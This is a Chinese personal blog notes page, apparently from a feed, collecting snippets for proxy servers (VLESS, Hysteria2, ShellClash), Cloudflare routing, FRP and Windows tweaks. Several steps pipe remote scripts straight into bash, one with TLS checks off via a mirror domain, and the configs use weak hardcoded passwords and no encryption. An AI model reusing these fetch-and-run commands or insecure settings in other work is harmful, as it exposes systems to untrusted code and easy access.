        <title>记录</title>
        <published>1999-01-01T00:00:00+00:00</published>
        <updated>1999-01-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/record/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/record/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/record/">&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;pip install keyboard pyperclip pillow boto3 pyautogui
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shellclash&quot;&gt;ShellClash&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;用于在Linux上使用CLI来进行正向代理。通过导入标准的Clash &lt;code&gt;config.yaml&lt;&#x2F;code&gt; 来实现&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;https://github.com&#x2F;juewuy&#x2F;ShellCrash&lt;&#x2F;p&gt;
&lt;p&gt;Tg通知频道：https://t.me&#x2F;ShellClash&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;```bash -c &amp;quot;$(curl -kfsSl https://raw-githubusercontent-com.072103.xyz&#x2F;juewuy&#x2F;ShellClash&#x2F;master&#x2F;install.sh)&amp;quot; &amp;amp;&amp;amp; source &#x2F;etc&#x2F;profile &amp;amp;&amp;gt; &#x2F;dev&#x2F;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;打开CLI：clash、crash
导入配置文件：6-2
安装本地Web面板：9-4-1
开机自启：4-1&lt;&#x2F;p&gt;
&lt;h1 id=&quot;vlesstong-yong-pei-zhi-bu-jia-mi&quot;&gt;Vless通用配置（不加密）&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code data-lang=&quot;json&quot;&gt;{
  &amp;quot;inbounds&amp;quot;: [
    {
      &amp;quot;port&amp;quot;: 1080,  &#x2F;&#x2F; 监听端口，可以根据需要修改
      &amp;quot;protocol&amp;quot;: &amp;quot;vless&amp;quot;,  &#x2F;&#x2F; 使用 VLESS 协议
      &amp;quot;settings&amp;quot;: {
        &amp;quot;clients&amp;quot;: [
          {
            &amp;quot;id&amp;quot;: &amp;quot;0721-07210721onani&amp;quot;,  &#x2F;&#x2F; 这里是一个 UUID，用于识别用户
            &amp;quot;level&amp;quot;: 0,  &#x2F;&#x2F; 用户等级，设置为 0 表示普通用户
            &amp;quot;email&amp;quot;: &amp;quot;user@example.com&amp;quot;  &#x2F;&#x2F; 用户邮箱（可选）
          }
        ],
        &amp;quot;decryption&amp;quot;: &amp;quot;none&amp;quot;  &#x2F;&#x2F; 设置为 none，表示没有加密
      },
      &amp;quot;streamSettings&amp;quot;: {
        &amp;quot;network&amp;quot;: &amp;quot;tcp&amp;quot;,  &#x2F;&#x2F; 使用 TCP 网络
        &amp;quot;security&amp;quot;: &amp;quot;none&amp;quot;  &#x2F;&#x2F; 不使用加密，适用于 VLESS
      }
    }
  ],
  &amp;quot;outbounds&amp;quot;: [
    {
      &amp;quot;protocol&amp;quot;: &amp;quot;freedom&amp;quot;,  &#x2F;&#x2F; 允许自由流量通过
      &amp;quot;settings&amp;quot;: {}
    }
  ],
  &amp;quot;routing&amp;quot;: {
    &amp;quot;rules&amp;quot;: []
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;amdbi-ji-ben-you-hua&quot;&gt;AMD笔记本优化&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;目标：关闭fTPM并且禁止系统重新安装、关闭Windows自动更新&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;关闭fTPM： 组策略编辑器：&lt;code&gt;计算机配置 - 管理模板 - 系统 - 设备安装 - 设备安装限制 - 阻止安装与下列任何设备实例 ID 相匹配的设备&lt;&#x2F;code&gt; 填写：设备管理器中的&lt;strong&gt;受信任的平台模块 2.0&lt;&#x2F;strong&gt; 的&lt;code&gt;详细信息 - 设备实例路径&lt;&#x2F;code&gt;中的值&lt;&#x2F;li&gt;
&lt;li&gt;关闭Windows自动更新：&lt;code&gt;计算机配置 - 管理模板 - Windows组件 - Windows更新&lt;&#x2F;code&gt;中的：
&lt;ul&gt;
&lt;li&gt;配置自动更新 - 已禁用&lt;&#x2F;li&gt;
&lt;li&gt;删除所有使用Windows更新功能的访问权限 - 已启用&lt;&#x2F;li&gt;
&lt;li&gt;不要连接任何Windows更新Internet位置 - 已启用&lt;&#x2F;li&gt;
&lt;li&gt;Windows更新不包括驱动更新 - 已启用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;vpsrong-he-guai-ce-shi-jiao-ben&quot;&gt;VPS融合怪测试脚本&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;bash &amp;lt;(curl -sL kejilion.sh)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;融合怪测试：8-32&lt;&#x2F;li&gt;
&lt;li&gt;IP纯净度测试：8-4&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;na-zha-tan-zhen-cloudflareban&quot;&gt;哪吒探针Cloudflare版&lt;&#x2F;h1&gt;
&lt;p&gt;https://github.com&#x2F;yumusb&#x2F;nezha-new&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;vpsyi-jian-mo-fa-jiao-ben&quot;&gt;VPS一键魔法脚本&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Hysteria2（UDP）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;bash &amp;lt;(curl -fsSL https://raw.githubusercontent.com&#x2F;0x0129&#x2F;hysteria2&#x2F;main&#x2F;install.sh) -port 0721
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Vless+Trojan+Shadowsocks：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;bash &amp;lt;(curl -s -L https://git.io&#x2F;v2ray.sh)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;x-ui：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;bash &amp;lt;(curl -Ls https://raw.githubusercontent.com&#x2F;vaxilu&#x2F;x-ui&#x2F;master&#x2F;install.sh)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;hysteria2-fu-wu-duan-da-jian-quan-ping-tai-tong-yong&quot;&gt;Hysteria2 服务端搭建（全平台通用）&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;下载 Hysteria2 可执行文件： https://github.com&#x2F;apernet&#x2F;hysteria&#x2F;releases&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;创建自签名SSL&#x2F;TLS证书：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;创建私钥：&lt;code&gt;openssl genpkey -algorithm RSA -out hy2.key&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;创建证书签名请求：&lt;code&gt;openssl req -new -key hy2.key -out hy2.csr&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;创建证书：&lt;code&gt;openssl x509 -req -in hy2.csr -signkey hy2.key -out hy2.crt -days 9999&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;config.yaml&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code data-lang=&quot;yaml&quot;&gt;listen: :443 

tls:
  cert: hy2.crt 
  key: hy2.key 

auth:
  type: password
  password: 0721

masquerade: 
  type: proxy
  proxy:
    url: https://news.ycombinator.com&#x2F; 
    rewriteHost: true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;
&lt;p&gt;启动 Hysteria2参数：&lt;code&gt;server&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;V2Ray客户端连接直链：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;hysteria2:&#x2F;&#x2F;0721@10.147.17.1:443?sni=bing.com&amp;amp;insecure=1#家里云
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;cloudflareyi-jian-mo-fa&quot;&gt;Cloudflare一键魔法&lt;&#x2F;h1&gt;
&lt;p&gt;下载 https://github.com&#x2F;cmliu&#x2F;edgetunnel&#x2F;archive&#x2F;refs&#x2F;heads&#x2F;main.zip 将它上传到Cloudflare Pages设置UUID。访问 https://你的域名.pages.dev&#x2F;UUID&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;cloudflare-you-xuan-fang-fa&quot;&gt;Cloudflare 优选方法&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;a-aaaa-cname&quot;&gt;A、AAAA、CNAME&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;B域名直接套CDN指向源站&lt;&#x2F;li&gt;
&lt;li&gt;B域名开启SaaS，设置回退源为指向源站的域名，自定义主机名为A域名&lt;&#x2F;li&gt;
&lt;li&gt;B域名指向优选域名，不套CDN&lt;&#x2F;li&gt;
&lt;li&gt;A域名指向B域名指向的优选域名的域名 ，不套CDN&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;cloudflare-pages&quot;&gt;Cloudflare Pages&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;直接在Pages创建自定义域&lt;&#x2F;li&gt;
&lt;li&gt;更改子域NS到阿里云云解析DNS&lt;&#x2F;li&gt;
&lt;li&gt;在阿里云云解析DNS设置解析分流&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;cloudflare-workers&quot;&gt;Cloudflare Workers&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;直接在Workers创建路由，如：example.com&#x2F;*&lt;&#x2F;li&gt;
&lt;li&gt;将被设置路由的域名解析到优选域名&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;cloudflare-you-xuan-yu-ming&quot;&gt;Cloudflare 优选域名&lt;&#x2F;h2&gt;
&lt;p&gt;二叉树树自用： fenliu.072103.xyz&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0cfff651-0590-4700-81f4-79c9e576c38d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://blog.cmliussss.com&#x2F;&quot;&gt;CM大佬&lt;&#x2F;a&gt;： cf.090227.xyz&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;8f2ac2b4-b5b7-4d9e-8d80-103181e975a9.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.wetest.vip&#x2F;page&#x2F;cloudflare&#x2F;cname.html&quot;&gt;微测网&lt;&#x2F;a&gt;：cloudflare.182682.xyz&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;1b8b0adb-f3bc-4513-814e-4f20529a86cf.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;mo-fa-ruan-jian&quot;&gt;魔法软件&lt;&#x2F;h1&gt;
&lt;p&gt;Windows：&lt;&#x2F;p&gt;
&lt;p&gt;https://github.com&#x2F;2dust&#x2F;v2rayN&lt;&#x2F;p&gt;
&lt;p&gt;Linux：&lt;&#x2F;p&gt;
&lt;p&gt;https://github.com&#x2F;2dust&#x2F;v2rayNG&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;shi-yong-cloudflaredzhong-ji-rdpliu-liang&quot;&gt;使用Cloudflared中继RDP流量&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;cloudflared access rdp --hostname rdp.onani.cn --url rdp:&#x2F;&#x2F;localhost:3380
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;frpxiang-guan&quot;&gt;FRP相关&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;frpji-ben-ren-zheng-can-shu&quot;&gt;FRP基本认证参数&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code data-lang=&quot;yaml&quot;&gt;auth.token = &amp;quot;07210721&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;frp-systemdfu-wu-pei-zhi-kai-ji-zi-qi&quot;&gt;FRP systemd服务配置（开机自启）&lt;&#x2F;h3&gt;
&lt;p&gt;https://gofrp.org&#x2F;zh-cn&#x2F;docs&#x2F;setup&#x2F;systemd&#x2F;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;linux-debxi-an-zhuang-speedtest-cli&quot;&gt;Linux Deb系安装Speedtest-cli&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt install -y lsb-release ca-certificates apt-transport-https curl gnupg dpkg
curl -sSL https://packagecloud.io&#x2F;ookla&#x2F;speedtest-cli&#x2F;gpgkey | gpg --dearmor &amp;gt; &#x2F;usr&#x2F;share&#x2F;keyrings&#x2F;speedtest.gpg
echo &amp;quot;deb [arch=$(dpkg --print-architecture) signed-by=&#x2F;usr&#x2F;share&#x2F;keyrings&#x2F;speedtest.gpg] https://packagecloud.io&#x2F;ookla&#x2F;speedtest-cli&#x2F;debian&#x2F; $(lsb_release -sc) main&amp;quot; &amp;gt; &#x2F;etc&#x2F;apt&#x2F;sources.list.d&#x2F;speedtest.list

apt update
apt install -y speedtest
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;linuxjian-kong-mian-ban&quot;&gt;Linux监控面版：&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt install s-tui
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;windowschao-ji-niu-bi-bao-guan-li-qi-https-scoop-sh&quot;&gt;Windows超级牛逼包管理器：https://scoop.sh&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;linuxge-fa-xing-ban-an-zhuang-zhu-yi&quot;&gt;Linux各发行版安装注意&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;非常新的版本一般才会有Realtek有线网卡的驱动&lt;&#x2F;li&gt;
&lt;li&gt;安装Debian要使用CLI安装（GUI安装会出现问题 &lt;del&gt;具体的问题我忘了&lt;&#x2F;del&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;安装CentOS&#x2F;Rocky一定要先安装GUI，否则会导致上不了网&lt;&#x2F;li&gt;
&lt;li&gt;除了Arch连接网络使用iwd，其他发行版都可以用nmcli连接网络&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;guo-nei-linuxjing-xiang-zhu-yi-shi-xiang&quot;&gt;国内Linux镜像注意事项&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;del&gt;USTC（中科大源）经常会用JavaScript进行客户端验证，会导致wget和curl命令无法正确下载到文件&lt;&#x2F;del&gt;&lt;a href=&quot;&#x2F;posts&#x2F;bypass-ustc-verifying&#x2F;&quot;&gt;绕过USTC的浏览器JS验证 | AcoFork Blog&lt;&#x2F;a&gt;。建议使用TUNA（清华源）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;guo-nei-dockerjing-xiang&quot;&gt;国内Docker镜像&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;1Panel Docker监控：https://status.1panel.top&#x2F;status&#x2F;docker&lt;&#x2F;li&gt;
&lt;li&gt;南京大学GHCR镜像源：https://ghcr.nju.edu.cn&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
</feed>
